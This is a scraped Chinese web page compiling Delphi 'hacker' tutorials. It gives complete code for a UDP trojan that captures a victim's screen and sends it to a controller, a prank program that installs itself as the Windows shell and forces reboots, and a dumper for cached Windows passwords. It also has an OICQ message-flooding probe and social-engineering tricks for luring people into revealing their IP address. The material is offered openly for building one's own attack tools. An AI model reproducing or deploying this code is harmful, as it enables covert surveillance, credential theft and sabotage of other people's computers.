1. 程式人生 > >用DELPHI實現的一些國內黑客程式技巧

用DELPHI實現的一些國內黑客程式技巧

實際上目前所有的OICQ探測方法都一樣,傳送一個OICQ訊息給對方,憑藉OICQ 的返回資訊來判斷對方的OICQ號碼,具體的DELPHI實現如下: NMUDP1是ICS控制元件包的UDP控制元件。 

NMUDP1.ReportLevel := Status_Basic; 
NMUDP1.RemoteHost := edit1.Text; 
NMUDP1.RemotePort := 4000; 


UdpTmpStr :=#$02 +#$03 +#$0a +#$00 +#$78 +#13 +#$A 
+ '88888' +#$1f +#$30 +#$1f + #$33 + #$39 +#$1f 
+FormatDateTime('yyyy-mm-dd',now) 
+#$1f 
+FormatDateTime('hh:mm:ss',now) 
+#$1f 
+ '你正在被某位朋友查詢。他使用了追捕這個工具軟體(http://www.zhuibu.com/)進行探測,此OICQ號碼已經被反饋給對方。' 

+ '資訊所提示的OICQ號碼為虛假號碼,但可以即時回覆。' + #$03; 

if OicqCheck.Checked then begin 
for SendUdpNum:=1 to 10 do begin 
MyStream := TMemoryStream.Create; 
try 
MyStream.Write(UdpTmpStr[1], Length(UdpTmpStr)); 
NMUDP1.SendStream(MyStream); 
finally 
MyStream.Free; 
end; 
end; 
end; 
待續.. 
感謝馮志巨集先生





遠端螢幕抓取,寫一個木馬程式必備的技巧 
Thursday,Oct-26 


檀革勤 [網際網路]


木馬的一個很重要的功能就是遠端監視螢幕,下面的文章講述了怎樣利用UDP協議來實現,而不是我們通常用到的tcp/ip協議,很有特色,值得一學。 

一、軟硬體要求。 

Windows95/98對等網,用來監視的計算機(以下簡稱主控機)和被監視的計算機(以下簡稱受控機)都必須裝有TCP/IP 
協議,並正確配置。如沒有網路,也可以在一臺計算機上進行除錯。 

二、實現方法。 

編制兩個應用程式,一個為VClient.exe,裝在受控機上,另一個為VServer.exe,裝在主控機上。VServer.exe指定要監視的受控機的IP地址和將要在受控機螢幕上抓取區域的大小和位置,併發出螢幕抓取指令給VClient.exe,VClient.exe得到指令後,在受控機螢幕上選取指定區域,生成資料流,將其發回主控機,並在主控機上顯示出抓取區域的BMP圖象。由以上過程可以看出,該方法的關鍵有二:一是如何在受控機上進行螢幕抓取,二是如何通過TCP/IP協議在兩臺計算機中傳輸資料。 


UDP(User Datagram 
Protocol,意為使用者報文協議)是Internet上廣泛採用的通訊協議之一。與TCP協議不同,它是一種非連線的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用於遠端螢幕監視還是比較適合的。同時,UDP控制元件不區分伺服器端和客戶端,只區分發送端和接收端,程式設計上較為簡單,故選用UDP協議,使用Delphi 
4.0提供的TNMUDP控制元件。 

三、建立演示程式。 

第一步,編制VClient.exe檔案。新建Delphi工程,將預設窗體的Name屬性設為“Client”。加入TNMUDP控制元件,Name屬性設為“CUDP”;LocalPort屬性設為“1111”,讓控制元件CUDP監視受控機的1111埠,當有資料傳送到該口時,觸發控制元件CUDP的OnDataReceived事件;RemotePort屬性設為“2222”,當控制元件CUDP傳送資料時,將資料發到主控機的2222口。 


在implementation後面加入變數定義 

const BufSize=2048;{ 傳送每一筆資料的緩衝區大小 } 
var 
BmpStream:TMemoryStream; 
LeftSize:Longint;{ 傳送每一筆資料後剩餘的位元組數 } 

為Client的OnCreate事件新增程式碼: 
procedure TClient.FormCreate(Sender: TObject); 
begin 
BmpStream:=TMemoryStream.Create; 
end; 

為Client的OnDestroy事件新增程式碼: 
procedure TClient.FormDestroy(Sender: TObject); 
begin 
BmpStream.Free; 
end; 

為控制元件CUDP的OnDataReceived事件新增程式碼: 
procedure TClient.CUDPDataReceived(Sender: TComponent; 
NumberBytes: Integer; FromIP: String); 
var 
CtrlCode:array[0..29] of char; 
Buf:array[0..BufSize-1] of char; 
TmpStr:string; 
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer; 
begin 
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 讀取控制碼 } 
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then 
begin { 控制碼前4位為“show”表示主控機發出了抓屏指令 } 
if BmpStream.Size=0 then { 沒有資料可發,必須截圖生成資料 } 
begin 
TmpStr:=StrPas(CtrlCode); 
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4); 
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1)); 
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr) 
-Pos(':',TmpStr)); 
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1)); 
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)- 
Pos(':',TmpStr)); 
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1)); 
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr 
)+1,Length(TmpStr)-Pos(':',TmpStr))); 
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); { 
擷取螢幕 } 
end; 
if LeftSize>BufSize then SendSize:=BufSize 
else SendSize:=LeftSize; 
BmpStream.ReadBuffer(Buf,SendSize); 
LeftSize:=LeftSize-SendSize; 
if LeftSize=0 then BmpStream.Clear;{ 清空流 } 
CUDP.RemoteHost:=FromIP; { FromIP為主控機IP地址 } 
CUDP.SendBuffer(Buf,SendSize); { 將資料發到主控機的2222口 } 
end; 
end; 

其中ScreenCap是自定義函式,擷取螢幕指定區域, 
程式碼如下: 
procedure TClient.ScreenCap(LeftPos,TopPos, 
RightPos,BottomPos:integer); 
var 
RectWidth,RectHeight:integer; 
SourceDC,DestDC,Bhandle:integer; 
Bitmap:TBitmap; 
begin 
RectWidth:=RightPos-LeftPos; 
RectHeight:=BottomPos-TopPos; 
SourceDC:=CreateDC('DISPLAY','','',nil); 
DestDC:=CreateCompatibleDC(SourceDC); 
Bhandle:=CreateCompatibleBitmap(SourceDC, 
RectWidth,RectHeight); 
SelectObject(DestDC,Bhandle); 
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC, 
LeftPos,TopPos,SRCCOPY); 
Bitmap:=TBitmap.Create; 
Bitmap.Handle:=BHandle; 
BitMap.SaveToStream(BmpStream); 
BmpStream.Position:=0; 
LeftSize:=BmpStream.Size; 
Bitmap.Free; 
DeleteDC(DestDC); 
ReleaseDC(Bhandle,SourceDC); 
end; 
存為“C:/VClient/ClnUnit.pas”和“C:/VClient/VClient.dpr”, 
並編譯。 

第二步,編制VServer.exe檔案。新建Delphi工程,將窗體的Name屬性設為“Server”。加入TNMUDP控制元件,Name屬性設為“SUDP”;LocalPort屬性設為“2222”,讓控制元件SUDP監視主控機的2222埠,當有資料傳送到該口時,觸發控制元件SUDP的OnDataReceived事件;RemotePort屬性設為“1111”,當控制元件SUDP傳送資料時,將資料發到受控機的1111口。加入控制元件Image1,Align屬性設為“alClient”;加入控制元件Button1,Caption屬性設為“截圖”;加入控制元件Label1,Caption屬性設為“左:上:右:下”;加入控制元件Edit1,Text屬性設為“0:0:100:100”;加入控制元件Label2,Caption屬性設為“受控機IP地址”;加入控制元件Edit2,Text屬性設為“127.0.0.1”; 


在implementation後面加入變數定義 
const BufSize=2048; 
var 
RsltStream,TmpStream:TMemoryStream; 

為Server的OnCreate事件新增程式碼: 
procedure TServer.FormCreate(Sender: TObject); 
begin 
RsltStream:=TMemoryStream.Create; 
TmpStream:=TMemoryStream.Create; 
end; 

為Client的OnDestroy事件新增程式碼: 
procedure TServer.FormDestroy(Sender: TObject); 
begin 
RsltStream.Free; 
TmpStream.Free; 
end; 

為控制元件Button1的OnClick事件新增程式碼: 
procedure TServer.Button1Click(Sender: TObject); 
var ReqCode:array[0..29] of char;ReqCodeStr:string; 
begin 
ReqCodeStr:='show'+Edit1.Text; 
StrpCopy(ReqCode,ReqCodeStr); 
TmpStream.Clear; 
RsltStream.Clear; 
SUDP.RemoteHost:=Edit2.Text; 
SUDP.SendBuffer(ReqCode,30); 
end; 

為控制元件SUDP的OnDataReceived事件新增程式碼: 
procedure TServer.SUDPDataReceived(Sender: TComponent; 
NumberBytes: Integer; FromIP: String); 
var ReqCode:array[0..29] of char;ReqCodeStr:string; 
begin 
ReqCodeStr:='show'+Edit1.text; 
StrpCopy(ReqCode,ReqCodeStr); 
SUDP.ReadStream(TmpStream); 
RsltStream.CopyFrom(TmpStream,NumberBytes); 
if NumberBytes< BufSize then { 資料已讀完 } 
begin 
RsltStream.Position:=0; 
Image1.Picture.Bitmap.LoadFromStream(RsltStream); 
TmpStream.Clear; 
RsltStream.Clear; 
end 
else 
begin 
TmpStream.Clear; 
ReqCode:='show'; 
SUDP.RemoteHost:=Edit2.Text; 
SUDP.SendBuffer(ReqCode,30); 
end; 
end; 

存為“C:/VServer/SvrUnit.pas”和 
“C:/VServer/VServer.dpr”,並編譯。 
---- 四、測試。 

1、本地機測試:在本地機同時執行Vserver.exe和VClient.exe,利用程式的預設設定,即可實現截圖。檢視“控制面板”-“網路”-“TCP/IP”-“IP地址”,將程式的“客戶IP地址”設為該地址 
,同樣正常執行。 

2、遠端測試:選一臺受控機,執行VClient.exe;另選一臺主控機,執行VServer.exe,將“受控機IP地址”即Edit2的內容設為受控機的IP地址,“截圖”即可。以上簡要介紹了遠端螢幕抓取的實現方法,至於在主控機上一屏同時監視多個受控機,讀者可自行完善。以上程式,在Windows98對等網、Delphi 
4.0下除錯通過 





利用外殼的妖之吻 
Thursday,Oct-26 


千年老妖 [Delphi程式設計技巧]


我一直很困惑,為什麼一個簡單而且粗糙的程式居然流行開了,記得那是好幾個月前,和老孔雀無聊地聊天,實在找不到什麼興趣之後,突然想捉弄他一下,就一邊聊一邊做程式,很簡單的幾行程式碼幾分鐘就搞定,用一個Tinifiles搞定了windows的shell的外殼,一個關機命令,一個熱鍵遮蔽命令,一個timer來倒數延時,一個難看的窗體,組裝好了就發過去,就一直不見對方蹤影了,晚上看到傲氣的小鷹在QQ上,就懷著搞笑的心理髮給了他,於是就從傲氣開始了下載,這個無聊的軟體對一些懂得windows的人來說不構成危害,但是對一些剛剛接觸電腦的人,很可能造成對方重新安裝系統甚至去格式化硬碟,對此深表歉意。忘記了做成重啟動N次後自動恢復。但這個程式本身對資料不造成危害。windows和dos一樣,有個shell外殼,啟動的時候載入它,就是我們看到的介面,是必須的,和windows的啟動執行不一樣,是前提,所以很多朋友中了妖之吻之後,拼命改登錄檔,win.ini,都不行。而且不能刪除它,一旦刪除,win98就會藍屏報錯,提示請重新安裝。:-) 

下面是程式的實現,這些程式碼與最初的程式碼有許多地方不一樣,還沒有完成。因為後來心血來潮想增加點東東,後來放棄了,畢竟還是無聊的東西。 
unit Unit1; 

interface 

uses 
Windows, Messages, SysUtils, Classes,inifiles, Graphics, Controls, 
Forms, Dialogs, 
StdCtrls, ExtCtrls, Buttons; 

type 
TForm1 = class(TForm) 
Timer1: TTimer; 
Label1: TLabel; 
Timer2: TTimer; 
Label2: TLabel; 
SpeedButton1: TSpeedButton; 
procedure Timer1Timer(Sender: TObject); 
procedure FormCreate(Sender: TObject); 
procedure FormClose(Sender: TObject; var Action: TCloseAction); 
procedure Timer2Timer(Sender: TObject); 
procedure SpeedButton1Click(Sender: TObject); 
private 
{ Private declarations } 
public 
{ Public declarations } 
end; 

var 
Form1: TForm1; 

implementation 

{$R *.DFM} 
var 
sysini:tinifile;//定一個ini,準備動手術 
j,i:integer; 
procedure TForm1.Timer1Timer(Sender: TObject); 
begin 
exitwindowsex(ewx_reboot,0);//倒數時間到,關機羅! 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
var 
hregion,wndHandle : THandle; 
wndClass : array[0..50] of Char; 
k:string; 
begin 
hregion:=createellipticrgn(14,200,350,14);//想畫個不規則窗體 
setwindowrgn(handle,hregion,true); 
StrPCopy(@wndClass[0], 'Shell_TrayWnd'); 
wndHandle := FindWindow(@wndClass[0], nil); 
ShowWindow(wndHandle, SW_HIDE); 
i:=60; 
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW); 
systemparametersinfo(97,1,nil,0);//遮蔽熱鍵 
timer1.Enabled:=false; 
sysini:=Tinifile.Create('system.ini'); 
k:=sysini.ReadString('boot','shell',k);//這裡準備做成啟動20次恢復, 
if (k='explorer') or (k='explorer.exe') then 
begin 
sysini.WriteInteger('mci','mcicount',20); 
sysini.WriteString('boot','shell',application.ExeName);//這裡用自己替換掉了shell 
end 
end; 

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 
begin 
systemparametersinfo(97,0,nil,0);//取消遮蔽 
end; 

procedure TForm1.Timer2Timer(Sender: TObject); 
begin 
i:=i-1; 
label2.Caption:=inttostr(i); 
if i=1 then 
begin 
timer2.Enabled:=false; 
timer1.Enabled:=true; 
j:=sysini.ReadInteger('mci','mcicount',j); 
j:=j-1; 
if j=1 then 
begin 
sysini.WriteString('boot','shell','explorer.exe');//當啟動滿了20次,恢復shell 
end; 
end; 
end; 

procedure TForm1.SpeedButton1Click(Sender: TObject);//除錯用的 
begin 
timer1.Enabled:=false; 
timer2.Enabled:=false; 
application.Terminate; 
systemparametersinfo(97,1,nil,0); 
end; 
end. 
還存在個問題,這個程式裡面的程式碼沒有遮蔽掉Alt+F4,可以更換成別的辦法。 
10月23日




寫一個類PwView密碼檢視的程式 
Thursday,Oct-26 


不詳 [網路收集]


很多朋友用過pwview以及類似的軟體吧?一執行windows的密碼全找到了,這裡給一個原始碼,不是老妖寫的,是網上搜羅的,裡面的程式碼值得一學,為寫自己的hacker軟體積累點點滴滴.. 

unit Unit1; 

interface 

uses 
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls; 

type 
TForm1 = class(TForm) 
GroupBox1: TGroupBox; 
ListBox: TListBox; 
Label1: TLabel; 
Label2: TLabel; 
procedure Label1Click(Sender: TObject); 
procedure FormShow(Sender: TObject); 
private 
{ Private declarations } 
public 
hMPR: THandle; 
end; 

var 
Form1: TForm1; 

const 
Count: Integer = 0; 

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; 
dw: DWord): Word; stdcall; 

implementation 

{$R *.DFM} 
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; 
dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords'; 

type 
PWinPassword = ^TWinPassword; 
TWinPassword = record 
EntrySize: Word; 
ResourceSize: Word; 
PasswordSize: Word; 
EntryIndex: Byte; 
EntryType: Byte; 
PasswordC: Char; 
end; 

var 
WinPassword: TWinPassword; 

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; 
stdcall; 
var 
Password: String; 
PC: Array[0..$FF] of Char; 
begin 
inc(Count); 

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize); 
PC[WinPassword.ResourceSize] := #0; 
CharToOem(PC, PC); 
Password := StrPas(PC); 

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + 
WinPassword.ResourceSize); 
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize); 
PC[WinPassword.PasswordSize] := #0; 
CharToOem(PC, PC); 
Password := Password + ': ' + StrPas(PC); 

Form1.ListBox.Items.Add(Password); 
Result := True; 
end; 

procedure TForm1.Label1Click(Sender: TObject); 
begin 
ShellExecute(GetDesktopWindow, 'open', 'http://wlhyy.126.com', nil, nil, 
0); 
end; 

procedure TForm1.FormShow(Sender: TObject); 
begin 
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then 
begin 
Application.MessageBox('Can''t load passwords: User is not logon.', 
'Error', mb_Ok or mb_IconWarning); 
Application.Terminate; 
end 
else 
if Count = 0 then 
ListBox.Items.Add('No passwords found...'); 
end; 

end.





大家來當灰客 (二)亂彈IP查詢 
Thursday,Oct-26 


千年老妖 [網路天地]


這個網路上最不缺的就是灰客,灰客們的話題永遠停留在怎麼怎麼查詢IP上面,為什麼了?因為有了IP,頓時天空都明朗了,IGMP炸彈..追捕..ICQ炸彈..木馬十八般武藝頓時有了用武之地。灰客們咬來嚼去的所謂之技術,其中所謂之查IP的技術,根本談不上是什麼技術,其實很簡單,就這麼幾個花樣...這裡慢慢拿出來晒晒太陽.. 

至於古老的從dos下面netstrat這裡就不談了,因為早有人做成了windows版本的。就目前最簡單最容易上手的方法和原理淺談一二,當然,如果你是在電信資料局工作,這個就免看了,去伺服器就搞定... 

一個無聊的灰客最喜歡做什麼?這個還用說,炸人唄,極端無聊的灰客喜歡做什麼?找一段IP挨個炸,一個簡單的掃描器就行了,看看那些IP能ping通,稍微有點目標的話,用用追捕的月光搜尋,它的原理是利用netbios挨個掃描出一個網段上每個活動IP的計算機名,非常好用,我和幾個朋友在網路上自建三角州伺服器玩三角,他們怎麼找到我的IP呢?就用這個,也不用我挨個通知了,我的計算機名是wlhsoft,他們一掃描就知道了,很實用吧?用來快速準確查詢一個長期養馬的機器也特別方便。 

當一個豪氣萬丈的灰客在聊天的時候,在泡MM的時候遇到了對手怎麼辦?當然是一擊必殺了,如果是在oicq上面就方便多了,此類炸彈軟體多如牛毛,oicq是基於UDP協議的聊天工具,協議的特性註定了安全性遠遠跟不上基於TCP/IP協議的工具,oicq的每條資訊都包含了你的IP地址,只需要把資料報截獲下來分析就知道了,做到程式裡面就成了灰客們常用的oicqIP查詢的工具,詳細做法另文再談。這是利用軟體的缺陷查IP。無需灰客動腦,一切搞定。 

如果是在聊天室裡面怎麼辦?一個web聊天室如果在裡面沒有許可權,看不到IP是很痛苦的,如果這個聊天室支援html,就好辦了,我在delphi程式設計裡面的貼介紹了怎麼做一個IP獵人,就用它,用你自己製作的軟體來抓IP,原理不用多說了,看看那篇貼子就很明白了。只要你和對方的機器有個直接的訪問就可以了,用html程式碼讓對方的瀏覽器直接訪問自己的機器,預設80埠,發一個圖或者一個音樂,(img 
src=http://你本機IP/xx.jpg)即可,這種方法很古老的,很多聊天室已經不能使用html了,但是又怎麼難得到技術高超的灰客呢?嘿嘿,變通一下,用花言巧語吧,欺騙對方來訪問你的IP,‘我找到一個好網站哦!!!'此類的話很容易吧?為了更像一點,乾脆去免費申請一個 
yahoo.126.com的域名直接指向你的IP,嘿嘿,當然對方連線你,他的瀏覽器會看到'web地址已經找到’,但是無論如何也打不開了。這種方法是萬金油,到處都可以抹,只要你能言善騙,一臉無可挑剔的真誠,警惕性再高的人都會被你抓住.還有幾種小方法,比如利用訪問日誌,聊天室的bug把message.cgi打開了之類的,覺得沒多大意思,就上面的幾個小辦法足以滿足一個灰客的日常需要了。下次聊 







怎樣用delphi製作一個IPhunter(獨孤劍客的IP獵人) 
Thursday,Oct-26 


千年老妖 [delphi程式設計技巧]


很多朋友用過獨孤劍客寫的IPhunter吧,它是利用在聊天室發圖片的原理查詢對方IP,其實不僅僅是聊天室,只要有人對你的機器存在訪問,就能夠抓到他的IP,甚至主機名,在老妖的軟體獵鹿人當中也利用了這個原理,在delphi中是很容易實現的,現在我們用delphi來做一個和IPhunter一模一樣的軟體。 

有人說現在的程式設計師成了組裝工人,其實很有道理,利用控制元件模組+少量程式碼就可以實現,delphi 
5.0提供了豐富的internet控制元件,利用TCP/IP 
客戶端-服務端就可以解決問題。關鍵的控制元件是ServerSocket,我們模仿IPhunter的介面用一個button1(按鈕),一個combobox1(用於顯示),這三個最基本的控制元件放置到空白窗體上就可以開始寫程式碼了 
。 
首先,這個combobox1必須能顯示多個IP,我們定一個變數y來累加combobox1.items[y], 
var y:integer; 
我們的思路如下,當ServerSocket活動的port(埠)收到基於TCP/IP協議的連結請求時候,返回對方的IP值,傳遞給combobox顯示出來。由button1控制ServerSocket的啟用,也就是開啟關閉埠。 

我們在ServerSocket的On ClientConnect事件中加入一下程式碼 
procedure TForm1.ServerSocket11ClientConnect(Sender: TObject; 
Socket: TCustomWinSocket); 
begin 
combobox1.Items.Insert(y,'');//加入一條空紀錄 
combobox1.Items[y]:=socket.RemoteAddress;//獲取對方的IP 
label1.Text:='共捕獲'+inttostr(y+1)+'個IP';//用一個標籤來顯示一共抓了多少IP 
y:=y+1;//計數變數加1 
socket.Close; 
end; 
現在,將button1的caption屬性設定為 '開始',在它的單擊事件中加入以下程式碼 
procedure TForm1.SpeedButton7Click(Sender: TObject); 
begin 
if speedbutton7.Caption='開始' then 
begin 
serversocket11.Port:=80;//這句可以在serversocket屬性中設定,捕獲瀏覽器的連線 
ServerSocket11.Active:=true;//啟用埠 
speedbutton7.Caption:='停止'; 
end 
else 
begin 
serversocket11.Active:=false;//關閉埠 
speedbutton7.Caption:='開始'; 
combobox1.Clear;//結束捕獲,清空歷史資訊 
y:=0;//計數變數復位 
end; 
end; 
現在一個IPhunter基本就可以使用了,這只是很簡單原型,加上您自己精心製作的介面,就是一個網路灰客工具了,這個功能也整合到了獵鹿人裡面,這裡說到的只是ServerSocket最基本的一點功能而已,加上ClientSocket就可以做一個聊天工具,只用ClientSocket可以做一個和代理獵手一樣的掃描軟體,這些在老妖以後的文章中陸續介紹。